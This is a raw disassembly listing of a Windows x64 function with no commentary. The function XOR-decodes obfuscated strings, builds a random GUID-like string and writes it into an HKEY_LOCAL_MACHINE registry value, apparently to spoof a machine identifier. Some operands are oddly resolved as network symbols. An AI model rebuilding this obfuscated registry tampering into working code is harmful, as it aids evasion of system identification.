lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c30ab
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x20]
call fcn.14003d700
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, r14d
mov dword [rbp + r14*4 + 0x144], eax
inc r14
cmp r14, 0x270
jb 0x1400c30e0
mov dword [rbp + 0x140], 0x270
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x40]
call fcn.1401481c4
lea rax, [0x14016e290]
mov qword [rbp + 0x40], rax
lea rax, [0x14016e0f0]
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x70], 2
xor r8d, r8d
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x40], r14
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x58], rax
mov qword [rbp + 0xc0], rbx
mov dword [rbp + 0xc8], ebx
lea rdx, [0x140059500]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x1400b0600]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], gethostbyname
mov edi, 8
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c31e0
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x50]
call fcn.1400895c0
mov edi, 4
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c3213
lea rdx, [0x140171bfc]
lea rcx, [rbp + 0x50]
call fcn.1400895c0
mov edi, 3
mov esi, edi
nop dword [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rsi, 1
jne 0x1400c3250
lea rdx, [0x140171bf8]
lea rcx, [rbp + 0x50]
call fcn.1400895c0
nop
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c3280
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x50]
call fcn.1400895c0
mov edi, reloc.WS2_32.dll_inet_ntoa
lea rcx, [rbp + 0x140]
call fcn.14008a880
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c32b3
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x58]
call fcn.14005fc10
movups xmm0, xmmword [0x140172d48]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x140172d58]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x140172d60]
mov byte [rsp + 0x58], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c3445
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm6, xmmword [0x140175f40]
movdqa xmm0, xmmword [0x140176070]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c3340
cmp r8d, 0x19
jge 0x1400c3480
movsxd rax, r8d
lea r10, [rsp + 0x40]
add r10, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x19
jl 0x1400c3450
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10d, dword [rbp - 0x20]
inc r10d
lea r9, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r9, qword [rbp - 0x30]
movsd xmm0, qword [str.exgLR_Xw_]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x1401737b8]
mov dword [rbp - 0x68], eax
cmp byte [0x1401737bb], 0
je 0x1400c361c
cmp r13d, 2
jl 0x1400c35e4
movdqa xmm4, xmmword [0x1401761d0]
movdqa xmm2, xmmword [0x140175f00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
mov eax, dword [0x140176070]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.exgLR_Xw_]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140175f20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140175f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x70]
add r8, rax
nop
mov eax, 0x51eb851f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, bl
sub al, cl
add al, 0x35
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xc
jl 0x1400c35f0
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], r9
mov r9d, ntohl
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x30]
call fcn.14003d700
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x40], r14
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x58]
call fcn.14005f4e0
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x14d0]
xor rcx, rsp
call fcn.1401468a0
lea r11, [rsp + 0x1600]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret